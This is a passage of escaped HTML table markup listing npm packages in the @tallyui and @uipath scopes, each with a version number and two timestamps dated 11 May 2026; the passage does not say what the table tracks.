href=\"https:\/\/www.npmjs.com\/package\/@tallyui\/core\">core<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\">0.2.1<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T21:41:51.428Z<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T21:47:35.293Z<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">npm<\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/~tallyui\">@tallyui<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/package\/@tallyui\/database\">database<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\">1.0.1<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T21:41:51.035Z<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T21:47:33.965Z<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">npm<\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/~tallyui\">@tallyui<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/package\/@tallyui\/connector-vendure\">connector-vendure<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\">1.0.1<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T21:41:50.750Z<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T21:47:31.829Z<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">npm<\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/~tallyui\">@tallyui<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/package\/@tallyui\/storage-sqlite\">storage-sqlite<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\">0.2.1<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T21:41:50.659Z<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T21:47:31.497Z<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">npm<\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/~tallyui\">@tallyui<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/package\/@tallyui\/connector-woocommerce\">connector-woocommerce<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\">1.0.1<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T21:41:50.732Z<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T21:47:31.415Z<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">npm<\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/~uipath\">@uipath<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/package\/@uipath\/apollo-react\">apollo-react<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\">4.24.5<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T21:00:26.711Z<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T21:28:13.200Z<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">npm<\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/~uipath\">@uipath<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/package\/@uipath\/agent.sdk\">agent.sdk<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\">0.0.18<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T21:00:21.185Z<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T21:13:25.305Z<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">npm<\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/~uipath\">@uipath<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/package\/@uipath\/apollo-core\">apollo-core<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\">5.9.2<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T21:00:26.961Z<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T21:09:07.692Z<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">npm<\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/~uipath\">@uipath<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/package\/@uipath\/apollo-wind\">apollo-wind<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\">2.16.2<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T21:00:21.184Z<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T21:08:42.661Z<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">npm<\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/~uipath\">@uipath<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/package\/@uipath\/tool-workflowcompiler\">tool-workflowcompiler<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\">0.0.12<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T21:00:20.652Z<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T21:08:19.863Z<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">npm<\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/~uipath\">@uipath<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/package\/@uipath\/filesystem\">filesystem<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\">1.0.1<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T21:00:20.022Z<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T21:08:02.753Z<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">npm<\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/~uipath\">@uipath<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/package\/@uipath\/robot\">robot<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\">1.3.4<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T21:00:22.132Z<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T21:07:32.886Z<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">npm<\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/~uipath\">@uipath<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/package\/@uipath\/telemetry\">telemetry<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\">0.0.7<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T21:00:20.650Z<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T21:07:29.090Z<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">npm<\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/~uipath\">@uipath<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/package\/@uipath\/integrationservice-sdk\">integrationservice-sdk<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\">1.0.2<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T21:00:20.932Z<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T21:07:24.909Z<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">npm<\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/~uipath\">@uipath<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/package\/@uipath\/ap-chat\">ap-chat<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\">1.5.7<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T21:00:26.227Z<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T21:07:21.498Z<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">npm<\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/~uipath\">@uipath<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/package\/@uipath\/widget.sdk\">widget.sdk<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\">1.2.3<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T21:00:21.133Z<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T21:07:08.052Z<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">npm<\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/~uipath\">@uipath<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/package\/@uipath\/agent-sdk\">agent-sdk<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\">1.0.2<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T21:00:22.740Z<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T21:07:06.258Z<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">npm<\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/~uipath\">@uipath<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/package\/@uipath\/packager-tool-apiworkflow\">packager-tool-apiworkflow<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\">0.0.19<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T21:00:20.911Z<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T21:07:04.415Z<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">npm<\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/~uipath\">@uipath<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/package\/@uipath\/case-tool\">case-tool<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\">1.0.1<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T21:00:22.990Z<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T21:06:55.085Z<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">npm<\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/~uipath\">@uipath<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/package\/@uipath\/codedagents-tool\">codedagents-tool<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\">0.1.12<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T21:00:20.678Z<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T21:06:53.254Z<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">npm<\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/~uipath\">@uipath<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/package\/@uipath\/api-workflow-tool\">api-workflow-tool<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\">1.0.1<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T21:00:20.798Z<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T21:06:51.036Z<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">npm<\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/~uipath\">@uipath<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/package\/@uipath\/context-grounding-tool\">context-grounding-tool<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\">0.1.1<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T21:00:19.922Z<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T21:06:50.918Z<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">npm<\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/~uipath\">@uipath<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/package\/@uipath\/packager-tool-workflowcompiler-browser\">packager-tool-workflowcompiler-browser<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\">0.0.34<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T21:00:20.716Z<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T21:06:50.722Z<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">npm<\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/~uipath\">@uipath<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/package\/@uipath\/packager-tool-workflowcompiler\">packager-tool-workflowcompiler<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\">0.0.16<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T21:00:21.364Z<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T21:06:49.630Z<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">npm<\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/~uipath\">@uipath<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/package\/@uipath\/aops-policy-tool\">aops-policy-tool<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\">0.3.1<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T21:00:20.534Z<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T21:06:48.861Z<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">npm<\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/~uipath\">@uipath<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/package\/@uipath\/flow-tool\">flow-tool<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\">1.0.2<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T21:00:23.016Z<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T21:06:48.647Z<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">npm<\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/~uipath\">@uipath<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/package\/@uipath\/resourcecatalog-tool\">resourcecatalog-tool<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\">0.1.1<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T21:00:20.557Z<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T21:06:46.371Z<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">npm<\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/~uipath\">@uipath<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/package\/@uipath\/vertical-solutions-tool\">vertical-solutions-tool<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\">1.0.1<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T21:00:20.868Z<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T21:06:46.274Z<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">npm<\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/~uipath\">@uipath<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/package\/@uipath\/data-fabric-tool\">data-fabric-tool<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\">1.0.2<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T21:00:21.200Z<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T21:06:46.178Z<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">npm<\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/~uipath\">@uipath<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/package\/@uipath\/packager-tool-case\">packager-tool-case<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\">0.0.9<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T21:00:20.380Z<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T21:06:45.549Z<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">npm<\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/~uipath\">@uipath<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/package\/@uipath\/codedagent-tool\">codedagent-tool<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\">1.0.1<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T21:00:20.586Z<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T21:06:45.420Z<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">npm<\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/~uipath\">@uipath<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/package\/@uipath\/ui-widgets-multi-file-upload\">ui-widgets-multi-file-upload<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\">1.0.1<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T21:00:20.686Z<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T21:06:45.292Z<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">npm<\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/~uipath\">@uipath<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/package\/@uipath\/docsai-tool\">docsai-tool<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\">1.0.1<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T21:00:20.034Z<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T21:06:45.197Z<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">npm<\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/~uipath\">@uipath<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/package\/@uipath\/insights-tool\">insights-tool<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\">1.0.1<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T21:00:20.838Z<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T21:06:43.995Z<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">npm<\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/~uipath\">@uipath<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/package\/@uipath\/solutionpackager-sdk\">solutionpackager-sdk<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\">1.0.11<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T21:00:22.993Z<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T21:06:43.421Z<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">npm<\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/~uipath\">@uipath<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/package\/@uipath\/auth\">auth<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\">1.0.1<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T21:00:20.819Z<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T21:06:43.283Z<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">npm<\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/~uipath\">@uipath<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/package\/@uipath\/maestro-tool\">maestro-tool<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\">1.0.1<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T21:00:22.134Z<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T21:06:43.269Z<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">npm<\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/~uipath\">@uipath<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/package\/@uipath\/cli\">cli<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\">1.0.1<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T21:00:21.005Z<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T21:06:42.123Z<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">npm<\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/~uipath\">@uipath<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/package\/@uipath\/llmgw-tool\">llmgw-tool<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\">1.0.1<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T21:00:20.742Z<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T21:06:41.710Z<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">npm<\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/~uipath\">@uipath<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/package\/@uipath\/resource-tool\">resource-tool<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\">1.0.1<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T21:00:20.510Z<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T21:06:41.541Z<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">npm<\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/~uipath\">@uipath<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/package\/@uipath\/packager-tool-flow\">packager-tool-flow<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\">0.0.19<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T21:00:20.953Z<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T21:06:39.866Z<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">npm<\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/~uipath\">@uipath<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/package\/@uipath\/common\">common<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\">1.0.1<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T21:00:21.070Z<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T21:06:39.742Z<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">npm<\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/~uipath\">@uipath<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/package\/@uipath\/gov-tool\">gov-tool<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\">0.3.1<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T21:00:20.485Z<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T21:06:39.437Z<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">npm<\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/~uipath\">@uipath<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/package\/@uipath\/traces-tool\">traces-tool<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\">1.0.1<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T21:00:20.202Z<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T21:06:38.605Z<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">npm<\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/~uipath\">@uipath<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/package\/@uipath\/packager-tool-bpmn\">packager-tool-bpmn<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\">0.0.9<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T21:00:20.411Z<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T21:06:36.730Z<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">npm<\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/~uipath\">@uipath<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/package\/@uipath\/insights-sdk\">insights-sdk<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\">1.0.1<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T21:00:20.884Z<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T21:06:35.096Z<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">npm<\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/~uipath\">@uipath<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/package\/@uipath\/admin-tool\">admin-tool<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\">0.1.1<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T21:00:20.671Z<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T21:06:34.043Z<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">npm<\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/~uipath\">@uipath<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/package\/@uipath\/packager-tool-webapp\">packager-tool-webapp<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\">1.0.6<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T21:00:20.317Z<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T21:06:33.792Z<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">npm<\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/~uipath\">@uipath<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/package\/@uipath\/solutionpackager-tool-core\">solutionpackager-tool-core<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\">0.0.34<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T21:00:20.891Z<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T21:06:33.744Z<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p 